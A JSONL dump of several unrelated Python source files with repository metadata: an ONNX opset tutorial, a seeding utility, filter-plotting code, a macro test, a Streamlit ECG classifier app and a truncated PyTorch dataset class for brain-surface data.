{"text": "# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"\nWhat is the opset number?\n=========================\n\n.. index:: opset, target opset, version\n\nEvery library is versioned. :epkg:`scikit-learn` may change\nthe implementation of a specific model. That happens\nfor example with the `SVC <https://scikit-learn.org/stable/\nmodules/generated/sklearn.svm.SVC.html>`_ model where\nthe parameter *break_ties* was added in 0.22. :epkg:`ONNX`\ndoes also have a version called *opset number*.\nOperator *ArgMin* was added in opset 1 and changed in opset\n11, 12, 13. Sometimes, it is updated to extend the list\nof types it supports, sometimes, it moves a parameter\ninto the input list. The runtime used to deploy the model\ndoes not implement a new version, in that case, a model\nmust be converted by usually using the most recent opset\nsupported by the runtime, we call that opset the\n*targeted opset*. An ONNX graph only contains\none unique opset, every node must be described following\nthe specifications defined by the latest opset below the\ntargeted opset.\n\nThis example considers an `IsolationForest\n<https://scikit-learn.org/stable/modules/generated/\nsklearn.ensemble.IsolationForest.html>`_ and digs into opsets.\n\n.. contents::\n    :local:\n\nData\n++++\n\nA simple example.\n\"\"\"\nfrom onnx.defs import onnx_opset_version\nfrom skl2onnx import to_onnx\nimport numpy\nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import IsolationForest\nfrom sklearn.datasets import make_blobs\n\nX, y = make_blobs(n_samples=100, n_features=2)\n\nmodel = IsolationForest(3)\nmodel.fit(X)\nlabels = model.predict(X)\n\nfig, ax = plt.subplots(1, 1)\nfor k in (0, 1):\n    ax.plot(X[labels == k, 0], X[labels == k, 1], 'o', label=\"cl%d\" % k)\nax.set_title(\"Sample\")\n\n#######################################\n# ONNX\n# ++++\n\n\nonx = to_onnx(model, X[:1].astype(numpy.float32))\nprint(onx)\n\n##########################\n# The last line shows the opsets.\n# Let's extract it.\n\ndomains = onx.opset_import\nfor dom in domains:\n    print(\"domain: %r, version: %r\" % (dom.domain, dom.version))\n\n###################################\n# There are two opsets, one for standard operators,\n# the other for machine learning operators.\n\n########################################\n# ONNX and opset\n# ++++++++++++++\n#\n# The converter can convert a model to an older opset\n# than the default one, from 1 to the last available one.\n\n\ndef get_domain_opset(onx):\n    domains = onx.opset_import\n    res = [{'domain': dom.domain, 'version': dom.version}\n           for dom in domains]\n    return {d['domain']: d['version'] for d in res}\n\n\nfor opset in range(1, onnx_opset_version() + 1):\n    try:\n        onx = to_onnx(model, X[:1].astype(numpy.float32), target_opset=opset)\n    except RuntimeError as e:\n        print('target: %r error: %r' % (opset, e))\n        continue\n    nodes = len(onx.graph.node)\n    print('target: %r --> %s %d' % (opset, get_domain_opset(onx), nodes))\n\n########################################\n# It shows that the model cannot be converted for opset\n# below 5. Operator `Reshape <https://github.com/onnx/\n# onnx/blob/master/docs/Operators.md#Reshape>`_ changed in\n# opset 5: a parameter became an input. The converter\n# does not support *opset < 5* because runtimes usually do not.\n#\n# Other opsets\n# ++++++++++++\n#\n# The previous example changed the opset of the main domain\n# ``''`` but the other opset domain can be changed as well.\n\nfor opset in range(9, onnx_opset_version() + 1):\n    for opset_ml in range(1, 3):\n        tops = {'': opset, 'ai.onnx.ml': opset_ml}\n        try:\n            onx = to_onnx(\n                model, X[:1].astype(numpy.float32), target_opset=tops)\n        except RuntimeError as e:\n            print('target: %r error: %r' % (opset, e))\n            continue\n        nodes = len(onx.graph.node)\n        print('target: %r --> %s %d' % (opset, get_domain_opset(onx), nodes))\n", "meta": {"hexsha": "4af9d9418ce68fc82fd053defe0766daebbce9c1", "size": 3847, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/tutorial/plot_cbegin_opset.py", "max_stars_repo_name": "Alexsandruss/sklearn-onnx", "max_stars_repo_head_hexsha": "b612557615df439e471867a676c9eca8ae4a787c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-06-11T22:08:57.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-11T22:08:57.000Z", "max_issues_repo_path": "docs/tutorial/plot_cbegin_opset.py", "max_issues_repo_name": "ogrisel/sklearn-onnx", "max_issues_repo_head_hexsha": "0afbe295aa3f1abbcea60f582faac31d16bd3ab0", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "docs/tutorial/plot_cbegin_opset.py", "max_forks_repo_name": "ogrisel/sklearn-onnx", "max_forks_repo_head_hexsha": "0afbe295aa3f1abbcea60f582faac31d16bd3ab0", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.776, "max_line_length": 77, "alphanum_fraction": 0.6529763452, "include": true, "reason": "import numpy", "num_tokens": 1041, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215925474903, "lm_q2_score": 0.12085323090725615, "lm_q1q2_score": 0.05152234186489102}}
{"text": "\"\"\"\n    This file is copied/apdated from https://github.com/berkeleydeeprlcourse/homework/tree/master/hw3\n\"\"\"\nimport numpy as np\nimport random\n\ndef set_global_seeds(i):\n    try:\n        import torch\n    except ImportError:\n        pass\n    else:\n        torch.manual_seed(i)\n    np.random.seed(i)\n    random.seed(i)\n", "meta": {"hexsha": "65f73fa9a88adc22f6d1ee63f7cc3795abeabf2c", "size": 316, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/seed.py", "max_stars_repo_name": "transedward/pytoch-dqn", "max_stars_repo_head_hexsha": "1ffda6f3724b3bb37c3195b09b651b1682d4d4fd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 358, "max_stars_repo_stars_event_min_datetime": "2017-03-05T14:32:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T08:37:35.000Z", "max_issues_repo_path": "utils/seed.py", "max_issues_repo_name": "Cade-W/pytorch-dqn", "max_issues_repo_head_hexsha": "1ffda6f3724b3bb37c3195b09b651b1682d4d4fd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2017-06-04T16:23:37.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-11T15:16:37.000Z", "max_forks_repo_path": "utils/seed.py", "max_forks_repo_name": "Cade-W/pytorch-dqn", "max_forks_repo_head_hexsha": "1ffda6f3724b3bb37c3195b09b651b1682d4d4fd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 118, "max_forks_repo_forks_event_min_datetime": "2017-03-08T18:28:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-11T16:42:14.000Z", "avg_line_length": 19.75, "max_line_length": 101, "alphanum_fraction": 0.6613924051, "include": true, "reason": "import numpy", "num_tokens": 79, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356683938849797, "lm_q2_score": 0.12765263195921103, "lm_q1q2_score": 0.05151636921940196}}
{"text": "# This class fournishes methods to plot your simulation relevant data\nimport matplotlib.pyplot as plt\nimport numpy as np\nplt.ion() # activating interactive plotting\n# import time\n\nclass SimPlot:\n\n    # Constructor method\n    # -- Input\n    #   - filterType: 1 for KF, 2 for EKF, 3 for PF\n    def __init__(self, filterType):\n\n        # Instantiating useful variables\n        self.ax = [None]\n        self.fig = [None]\n        self.lines = [None]\n        self.scatters = [None]\n\n        # Instantiating the correctly filter plot style\n        if filterType == 1:\n            self.kf_initiate()\n        elif filterType == 2:\n            self.ekf_initiate()\n        elif filterType == 3:\n            self.pf_initiate()\n        else:\n            print('SimPlot constructed with unknown arguments.')\n\n    def __del__(self):\n\n        # plt.waitforbuttonpress()\n        pass\n\n    # ===== Method - Kalman filter plot initiation\n    def kf_initiate(self):\n\n        # self.fig[0] = plt.figure()\n        #\n        # self.ax[0] = self.fig[0].add_subplot(1, 1, 1)\n        #\n        # # defining some plot characteristics\n\n        # # self.ax[0].set_xlim(-6, 6)\n        # # self.ax[0].set_ylim(-6, 6)\n        # self.ax[0].grid(True)\n        #\n        # # Displays the plot\n        # self.fig[0].show()\n\n        # creating the figure\n        self.fig[0] = plt.figure()\n\n        # creating the axes region\n        self.ax[0] = self.fig[0].add_subplot(1, 1, 1)\n\n        # defining some plot parameters\n        self.ax[0].set_xlim(-6, 6)\n        self.ax[0].set_ylim(-6, 6)\n        self.ax[0].set_xlabel('pos x [m]')\n        self.ax[0].set_ylabel('pos y [m]')\n        self.ax[0].set_title('Kalman Filter')\n        self.ax[0].grid(True)\n\n        # creating robot real position line\n        self.lines[0], = self.ax[0].plot([], [], '--r')\n\n        # creating measurement plot line\n        self.lines.extend(self.ax[0].plot([], [], 'og'))\n\n        # creating estimated plot line\n        self.lines.extend(self.ax[0].plot([], [], '-b'))\n\n    def kf_draw(self, x_real, x_estimated, z_t):\n\n        # updating  robot_realposition plot\n        self.lines[0].set_xdata(x_real[0, :])\n        self.lines[0].set_ydata(x_real[1, :])\n\n        # updating reading plot\n        self.lines[1].set_xdata(z_t[0])\n        self.lines[1].set_ydata(z_t[1])\n\n        # updating estimation plot\n        self.lines[2].set_xdata(x_estimated[0, :])\n        self.lines[2].set_ydata(x_estimated[1, :])\n\n        # self.ax[0].relim()\n        # self.ax[0].autoscale_view()\n\n        # updating the figure\n        self.fig[0].canvas.draw()\n        self.fig[0].canvas.flush_events()\n\n        plt.pause(0.05)\n\n    # ===== Method - Extended Kalman filter plot initiation\n    def ekf_initiate(self):\n\n        # creating the figure\n        self.fig[0] = plt.figure()\n\n        # creating the axes region\n        self.ax[0] = self.fig[0].add_subplot(1, 1, 1)\n\n        # defining some plot parameters\n        self.ax[0].set_xlim(-6, 6)\n        self.ax[0].set_ylim(-6, 6)\n        self.ax[0].set_xlabel('pos x [m]')\n        self.ax[0].set_ylabel('pos y [m]')\n        self.ax[0].set_title('Extended Kalman Filter')\n        self.ax[0].grid(True)\n\n        # creating robot real position line\n        self.lines[0], = self.ax[0].plot([], [], '--r')\n\n        # creating measurement plot line\n        self.lines.extend(self.ax[0].plot([], [], 'og'))\n\n        # creating estimated plot line\n        self.lines.extend(self.ax[0].plot([], [], '-b'))\n\n    def ekf_draw(self, x_real, x_estimated):\n\n        # updating  robot_realposition plot\n        self.lines[0].set_xdata(x_real[0, :])\n        self.lines[0].set_ydata(x_real[1, :])\n\n        # updating estimation plot\n        self.lines[2].set_xdata(x_estimated[0, :])\n        self.lines[2].set_ydata(x_estimated[1, :])\n\n        # self.ax[0].relim()\n        # self.ax[0].autoscale_view()\n\n        # updating the figure\n        self.fig[0].canvas.draw()\n        self.fig[0].canvas.flush_events()\n\n        plt.pause(0.05)\n\n    # ===== Method - Particle filter plot initiation\n    def pf_initiate(self):\n\n        # creating the figure\n        self.fig[0] = plt.figure()\n\n        # creating the axes region\n        self.ax[0] = self.fig[0].add_subplot(1, 1, 1)\n\n        # defining some plot parameters\n        self.ax[0].set_xlim(-6, 6)\n        self.ax[0].set_ylim(-6, 6)\n        self.ax[0].set_xlabel('pos x [m]')\n        self.ax[0].set_ylabel('pos y [m]')\n        self.ax[0].set_title('Particle Filter')\n        self.ax[0].grid(True)\n\n        # creating particles plot\n        self.lines.extend(self.ax[0].plot([], [], 'xg', linewidth=0.5))\n\n        # creating robot real position line\n        self.lines[0], = self.ax[0].plot([], [], 'og')\n\n\n    def pf_draw(self, x_real, xCal, color):\n\n        # corrects xCal, if it is not an numpy array\n        if xCal is not None:\n            if type(xCal) is not np.ndarray:\n                aux_v1 = xCal[0]\n                for aux_i in range(len(xCal)-1):\n                    aux_v1 = np.hstack((aux_v1, xCal[aux_i+1]))\n                xCal = aux_v1\n\n        # updates the robot real position data\n        if x_real is not None:\n\n            # updating  robot_realposition plot\n            self.lines[0].set_xdata(x_real[0])\n            self.lines[0].set_ydata(x_real[1])\n\n        # updates the particles data\n        if xCal is not None:\n\n            # plotting the particles\n            self.lines[1].set_xdata(xCal[0, :])\n            self.lines[1].set_ydata(xCal[1, :])\n\n        # updates the color\n        if color is not None:\n            self.lines[1].set_color(color)\n\n        # updating the figure\n        self.fig[0].canvas.draw()\n        self.fig[0].canvas.flush_events()\n\n        plt.pause(0.05)\n\n\n# for class testing purposes\nif __name__ == '__main__':\n\n    import numpy as np\n\n    test = SimPlot(3)\n\n    test.pf_initiate()\n\n    test.pf_draw(np.array([[1],[2]]), np.array([[1, 1, 1],[2, 3, 4]]))", "meta": {"hexsha": "7ef7e78df9664a8028eb998e8a798d34fda8b468", "size": 5922, "ext": "py", "lang": "Python", "max_stars_repo_path": "filtersPyCharm/src/CustomLibraries/ClassSimPlot.py", "max_stars_repo_name": "filRocha/arcaboucoTrabalhosAutonomosCOPPE", "max_stars_repo_head_hexsha": "b0eaf319ed2fad8853e450330d71bed60671713f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-02-02T00:50:19.000Z", "max_stars_repo_stars_event_max_datetime": "2019-02-02T00:50:19.000Z", "max_issues_repo_path": "filtersPyCharm/src/CustomLibraries/ClassSimPlot.py", "max_issues_repo_name": "filRocha/arcaboucoTrabalhosAutonomosCOPPE", "max_issues_repo_head_hexsha": "b0eaf319ed2fad8853e450330d71bed60671713f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "filtersPyCharm/src/CustomLibraries/ClassSimPlot.py", "max_forks_repo_name": "filRocha/arcaboucoTrabalhosAutonomosCOPPE", "max_forks_repo_head_hexsha": "b0eaf319ed2fad8853e450330d71bed60671713f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.2, "max_line_length": 71, "alphanum_fraction": 0.5569064505, "include": true, "reason": "import numpy", "num_tokens": 1621, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4378235137849365, "lm_q2_score": 0.11757214436736566, "lm_q1q2_score": 0.05147584937014986}}
{"text": "# -*- coding: utf-8 -*-\n\nfrom ...syntax import macros, nb\n\ndef test():\n    with nb:\n        assert _ is None\n        2 + 3          # top-level expressions autoprint, and auto-assign result to _\n        assert _ == 5  # ...and only expressions do that, so...\n        _ * 42         # ...here _ still has the value from the first line.\n        assert _ == 210\n\n    try:\n        from sympy import symbols, pprint\n    except ImportError:\n        print(\"*** SymPy not installed, skipping symbolic math test ***\")\n    else:\n        with nb(pprint):  # you can specify a custom print function (first positional arg)\n            assert _ is None\n            x, y = symbols(\"x, y\")\n            x * y\n            assert _ == x * y\n            3 * _\n            assert _ == 3 * x * y\n\n    print(\"All tests PASSED\")\n\nif __name__ == '__main__':\n    test()\n", "meta": {"hexsha": "6c82bbbdbc4bd07a10ae28cdba3d13f2458e4e7b", "size": 844, "ext": "py", "lang": "Python", "max_stars_repo_path": "unpythonic/syntax/test/test_nb.py", "max_stars_repo_name": "aisha-w/unpythonic", "max_stars_repo_head_hexsha": "0f63abf6ac7efb7304b676d0e1ebce0ef4040438", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "unpythonic/syntax/test/test_nb.py", "max_issues_repo_name": "aisha-w/unpythonic", "max_issues_repo_head_hexsha": "0f63abf6ac7efb7304b676d0e1ebce0ef4040438", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "unpythonic/syntax/test/test_nb.py", "max_forks_repo_name": "aisha-w/unpythonic", "max_forks_repo_head_hexsha": "0f63abf6ac7efb7304b676d0e1ebce0ef4040438", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.1333333333, "max_line_length": 90, "alphanum_fraction": 0.5272511848, "include": true, "reason": "from sympy", "num_tokens": 211, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10374862963754419, "lm_q1q2_score": 0.05146905497924943}}
{"text": "import streamlit as st\nfrom tensorflow.keras.models import load_model\nimport numpy as np\nimport scipy.io\n# import pathlib\n# from tensorflow import keras\nfrom src.visualization import plot_ecg\n\n#---------------------------------#\n# Page layout\n## Page expands to full width\nst.set_page_config(\n    page_title='\ud83e\udec0 ECG Classification',\n    # anatomical heart favicon\n    page_icon=\"https://api.iconify.design/openmoji/anatomical-heart.svg?width=500\",\n    layout='wide'\n)\n\n# PAge Intro\nst.write(\"\"\"\n# \ud83e\udec0 ECG Classification\n\nFor this app, we trained a model to detect heart anomalies based on the [Physionet 2017 Cardiology Challenge](https://physionet.org/content/challenge-2017/1.0.0/) \ndataset.\n\n**Possible Predictions:** Atrial Fibrillation, Normal, Other Rhythm, or Noise\n\n### Authors:\n\n- Simon E. Sanchez Viloria\n- Andres Ruiz Calvo\n- Daniel De Las Cuevas Turel\n- Enrique Bot\u00eda Barbera\n- Zijun He\n\n\n**Try uploading your own ECG!**\n\n-------\n\"\"\".strip())\n\n#---------------------------------#\n# Data preprocessing and Model building\n\n@st.cache(allow_output_mutation=True)\ndef read_ecg_preprocessing(uploaded_ecg):\n\n      FS = 300\n      maxlen = 30*FS\n\n      uploaded_ecg.seek(0)\n      mat = scipy.io.loadmat(uploaded_ecg)\n      mat = mat[\"val\"][0]\n\n      uploaded_ecg = np.array([mat])\n\n      X = np.zeros((1,maxlen))\n      uploaded_ecg = np.nan_to_num(uploaded_ecg) # removing NaNs and Infs\n      uploaded_ecg = uploaded_ecg[0,0:maxlen]\n      uploaded_ecg = uploaded_ecg - np.mean(uploaded_ecg)\n      uploaded_ecg = uploaded_ecg/np.std(uploaded_ecg)\n      X[0,:len(uploaded_ecg)] = uploaded_ecg.T # padding sequence\n      uploaded_ecg = X\n      uploaded_ecg = np.expand_dims(uploaded_ecg, axis=2)\n      return uploaded_ecg\n\nmodel_path = 'models/weights-best.hdf5'\nclasses = ['Normal','Atrial Fibrillation','Other','Noise']\n\n@st.cache(allow_output_mutation=False,ttl=24*60*60)\ndef get_model(model_path):\n    model = load_model(f'{model_path}')\n    return model\n\n@st.cache(allow_output_mutation=True,show_spinner=False)\ndef get_prediction(data,model):\n    prob = model(data)\n    ann = np.argmax(prob)\n    #true_target =\n    #print(true_target,ann)\n\n    #confusion_matrix[true_target][ann] += 1\n    return classes[ann],prob #100*prob[0,ann]\n\n\n# Visualization --------------------------------------\n@st.cache(allow_output_mutation=True,show_spinner=False)\ndef visualize_ecg(ecg,FS):\n    fig = plot_ecg(uploaded_ecg=ecg, FS=FS)\n    return fig\n\n\n#Formatting ---------------------------------#\n\nhide_streamlit_style = \"\"\"\n        <style>\n        #MainMenu {visibility: hidden;}\n        footer {\t\n            visibility: hidden;\n        }\n        footer:after {\n            content:'Made for Machine Learning in Healthcare with Streamlit';\n            visibility: visible;\n            display: block;\n            position: relative;\n            #background-color: red;\n            padding: 5px;\n            top: 2px;\n        }\n\"\"\"\nst.markdown(hide_streamlit_style, unsafe_allow_html=True)\n\n#---------------------------------#\n# Sidebar - Collects user input features into dataframe\nwith st.sidebar.header('1. Upload your ECG'):\n    uploaded_file = st.sidebar.file_uploader(\"Upload your ECG in .mat format\", type=[\"mat\"])\n\nst.sidebar.markdown(\"\")\n\nfile_gts = {\n    \"A00001\" : \"Normal\",\n    \"A00002\" : \"Normal\",\n    \"A00003\" : \"Normal\",\n    \"A00004\" : \"Atrial Fibrilation\",\n    \"A00005\" : \"Other\",\n    \"A00006\" : \"Normal\",\n    \"A00007\" : \"Normal\",\n    \"A00008\" : \"Other\",\n    \"A00009\" : \"Atrial Fibrilation\",\n    \"A00010\" : \"Normal\",\n    \"A00015\" : \"Atrial Fibrilation\",\n    \"A00205\" : \"Noise\",\n    \"A00022\" : \"Noise\",\n    \"A00034\" : \"Noise\",\n}\nvalfiles = [\n    'None',\n    'A00001.mat','A00010.mat','A00002.mat','A00003.mat',\n    \"A00022.mat\", \"A00034.mat\",'A00009.mat',\"A00015.mat\",\n    'A00008.mat','A00006.mat','A00007.mat','A00004.mat',\n    \"A00205.mat\",'A00005.mat'\n]\n\nif uploaded_file is None:\n    with st.sidebar.header('2. Or use a file from the validation set'):\n        pre_trained_ecg = st.sidebar.selectbox(\n            'Select a file from the validation set',\n            valfiles,\n            format_func=lambda x: f'{x} ({(file_gts.get(x.replace(\".mat\",\"\")))})' if \".mat\" in x else x,\n            index=1,\n\n        )\n        if pre_trained_ecg != \"None\":\n            f = open(\"data/validation/\"+pre_trained_ecg, 'rb')\n            if not uploaded_file:\n                uploaded_file = f\n        st.sidebar.markdown(\"Source: Physionet 2017 Cardiology Challenge\")\nelse:\n    st.sidebar.markdown(\"Remove the file above to demo using the validation set.\")\n\nst.sidebar.markdown(\"---------------\")\nst.sidebar.markdown(\"Check the [Github Repository](https://github.com/simonsanvil/ECG-classification-MLH) of this project\")\n#---------------------------------#\n# Main panel\n\nmodel = get_model(f'{model_path}')\n\nif uploaded_file is not None:\n    #st.write(uploaded_file)\n    col1,_,col2 = st.columns((0.5,.05,0.45))\n\n    with col1: # visualize ECG\n        st.subheader('1.Visualize ECG')\n        ecg = read_ecg_preprocessing(uploaded_file)\n        \n        fig = visualize_ecg(ecg, FS=300)\n        st.pyplot(fig, use_container_width=True)\n        \n\n    with col2: # classify ECG\n        st.subheader('2. Model Predictions')\n        with st.spinner(text=\"Running Model...\"):\n            pred,conf = get_prediction(ecg,model)\n        mkd_pred_table = \"\"\"\n        | Rhythm Type | Confidence |\n        | --- | --- |\n        \"\"\" + \"\\n\".join([f\"| {classes[i]} | {conf[0][i]*100:.2f}% |\" for i in range(len(classes))])\n\n        st.write(\"ECG classified as **{}**\".format(pred))\n        pred_confidence = conf[0,np.argmax(conf)]*100\n        st.write(\"Confidence of the prediction: **{:3.1f}%**\".format(pred_confidence))\n        st.write(f\"**Likelihoods:**\")\n        st.markdown(mkd_pred_table, unsafe_allow_html=False)\n\n    # st.line_chart(np.concatenate(ecg).ravel().tolist())\n", "meta": {"hexsha": "920abeeabcf1ca89f75f2c9bf8856037972514e1", "size": 5861, "ext": "py", "lang": "Python", "max_stars_repo_path": "app/main.py", "max_stars_repo_name": "simonsanvil/ECG-classification-MLH", "max_stars_repo_head_hexsha": "9f7c72e637b529b89d8d91e0507043da26f7096c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2021-12-14T10:34:53.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-06T17:23:52.000Z", "max_issues_repo_path": "app/main.py", "max_issues_repo_name": "simonsanvil/ECG-classification-MLH", "max_issues_repo_head_hexsha": "9f7c72e637b529b89d8d91e0507043da26f7096c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "app/main.py", "max_forks_repo_name": "simonsanvil/ECG-classification-MLH", "max_forks_repo_head_hexsha": "9f7c72e637b529b89d8d91e0507043da26f7096c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-12-14T10:45:13.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-28T14:45:35.000Z", "avg_line_length": 29.9030612245, "max_line_length": 163, "alphanum_fraction": 0.6196894728, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1569, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10374862686637971, "lm_q1q2_score": 0.05146905360449183}}
{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 15 17:29:27 2020\n\n@author: fa19\n\"\"\"\n\n\n\nimport nibabel as nb\n\nimport numpy as np\nimport torch\nimport random\nimport torch.nn.functional as F\n\nmeans = np.load('../dHCP_mean_seg.npy')\nstd = np.load('../dHCP_std_seg.npy')\nmeans = torch.from_numpy(means)\nstds = torch.from_numpy(std)\n\n### SEGMENTATION FILES ###\n\nunwarped_files_directory = '/data/Data/benchmarking/fsaverage_32k_30_01_2021/ico6'\nunwarped_labels_directory = '/data/Data/dHCP/M-CRIB-S/template_space/ico6L'\nwarped_files_directory = '/data/Data/benchmarking/fsaverage_32k_30_01_2021/ico6_warped'\nwarped_labels_directory = '/data/Data/dHCP/M-CRIB-S/template_space/ico6L_warp'\n\n#unwarped_files_directory='/data/Data/derivatives_native_ico6_seg/features'\n#warped_files_directory='/data/Data/derivatives_native_ico6_seg/features_warp'\n#unwarped_labels_directory ='/data/Data/derivatives_native_ico6_seg/labels'\n#warped_labels_directory ='/data/Data/derivatives_native_ico6_seg/labels_warp'\n\n\n#means = torch.Tensor([0.0345])\n#stds = torch.Tensor([0.1906])\n\ntest_rotation_arr = np.load('../GraphMethods/data/unseen_rots.npy').astype(int)\nrotation_arr = np.load('../GraphMethods/data/rotations_array.npy').astype(int)\nreversing_arr = np.load('../GraphMethods/data/reversing_arr.npy')\n\n#smoothing_arr = [[0, 10], [-12,34], [11,200], [-1,1]]\n\n# minima and maxima defines as mean +/- 4*std \n\nlower_bound = torch.Tensor([ -0.2819,  -0.7279,  -0.5199, -16.1347])\nupper_bound = torch.Tensor([ 2.5354,  0.7970,  2.5550, 16.2459])\n\n\nminima = torch.Tensor([  0.0000,  -0.7279,  -0.3271, -14.8748])\nmaxima = torch.Tensor([ 2.5354,  0.7970,  2.5550, 12.1209])\n\n\nxy_points = np.load('equirectangular_ico_6_points.npy')\nxy_points[:,0] = (xy_points[:,0] + 0.1)%1\ngrid = np.load('grid_170_square.npy')\n\n\n\ngrid_x, grid_y = np.meshgrid(np.linspace(0.02, 0.98, 170), np.linspace(0.02, 0.98, 170))\ngrid[:,0] = grid_x.flatten()\ngrid[:,1] = grid_y.flatten()\n\nfrom scipy.interpolate import griddata\n\n\n\"\"\"\n\nunwarped_files_directory: the directory of all the files in input_arr. BOTH L and R\naarped_files_directory: the directory of all the warped files.  \n\nwarped directory could be the same as unwarped directory\n\n\n\"\"\"\n\nclass My_dHCP_Data(torch.utils.data.Dataset):\n\n    def __init__(self, input_arr, rotations = False,\n                 number_of_warps = 0, parity_choice = 'left', smoothing = False, normalisation = None, sample_only = True, output_as_torch = True ):\n        \n        \"\"\"\n        \n        A Full Dataset for the dHCP Data. Can include warps, rotations and parity flips.\n        \n        Fileanme style:\n            \n            in the array: only 'sub-X-ses-Y'\n            but for the filenames themselves\n                Left = 'sub-X_ses-Y_L'\n                Right = 'sub-X_ses-Y_R'\n                if warped:\n                    'sub-X_ses-Y_L_W1'\n        \n        INPUT ARGS:\n        \n            1. input_arr:\n                Numpy array size Nx2 \n                FIRST index MUST be the filename (excluding directory AND L or R ) of MERGED nibabel files\n                LAST index must be the (float) label \n                (OPTIONAL) Middle index if size 3 (optional) is any confounding metadata (Also float, e.g scan age for predicting birth age)\n        \n                        \n            2 . rotations - boolean: to add rotations or not to add rotations              \n            \n            3. number of warps to include - INT\n                NB WARPED AR INCLUDED AS FILENAME CHANGES. WARP NUMBER X IS WRITTEN AS filename_WX\n                NUMBER OF WARPS CANNOT EXCEED NUMBER OF WARPES PRESENT IN FILES \n                \n            4. Particy Choice (JMPORTANT!) - defines left and right-ness\n            \n                If: 'left'- will output ONLY LEFT \n                If: 'both' - will randomly choose L or R\n                If 'combined' - will output a combined array (left first), will be eventually read as a file with twice the number of input channels. as they will be stacked together\n                \n            5. smoothing - boolean, will clip extremal values according to the smoothing_array \n            \n            6. normalisation - str. Will normalise according to 'range', 'std' or 'None'\n                Range is from -1 to 1\n                Std is mean = 0, std = 1\n                \n            7. output_as_torch - boolean:\n                outputs values as torch Tensors if you want (usually yes)\n                \n                \n        \"\"\"\n        \n        \n        \n        \n        self.input_arr = input_arr\n        \n        self.image_files = input_arr[:,0]\n        self.label = input_arr[:,-1]\n        \n        self.sample_only = sample_only\n        self.rotations = rotations\n                \n        \n        self.number_of_warps = number_of_warps\n        \n        self.parity = parity_choice\n            \n        self.smoothing = smoothing\n        self.normalisation = normalisation\n        \n        self.output_as_torch = output_as_torch\n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.directory = warped_files_directory\n        else:\n            self.directory = unwarped_files_directory\n            \n    def __len__(self):\n        \n        L = len(self.input_arr)\n        \n        \n        if self.number_of_warps !=0:\n            if self.sample_only == False:\n                L = L*self.number_of_warps\n\n        return L\n    \n    \n    def __test_input_params__(self):\n        assert self.input_arr.shape[1] >=2, 'check your input array is a nunpy array of files and labels'\n        assert type(self.number_of_warps) == int, \"number of warps must be an in integer (can be 0)\"\n        assert self.parity in ['left', 'both', 'combined'], \"parity choice must be either left, combined or both\"\n        if self.number_of_rotations != 0:\n            assert self.rotation_arr != None,'Must specify a rotation file containing rotation vertex ids if rotations are non-zero'       \n        assert self.rotations == bool, 'rotations must be boolean'\n        assert self.normalisation in [None, 'none', 'std', 'range'], 'Normalisation must be either std or range'\n        \n    \n    def __genfilename__(self,idx):\n        \n        \"\"\"\n        gets the appropriate file based on input parameters on PARITY and on WARPS\n        \n        \"\"\"\n        # grab raw filename\n        \n        if self.number_of_warps != 0:\n            warp_choice = str(1 + idx//len(self.input_arr))\n\n            idx = idx%len(self.input_arr)\n        \n        raw_filename = self.image_files[idx]\n        \n        # add parity to it. IN THE FORM OF A LIST!  If requries both will output a list of length 2\n        filename = []\n        \n        if self.parity == 'left':\n            filename.append(raw_filename + '_L')\n        elif self.parity == 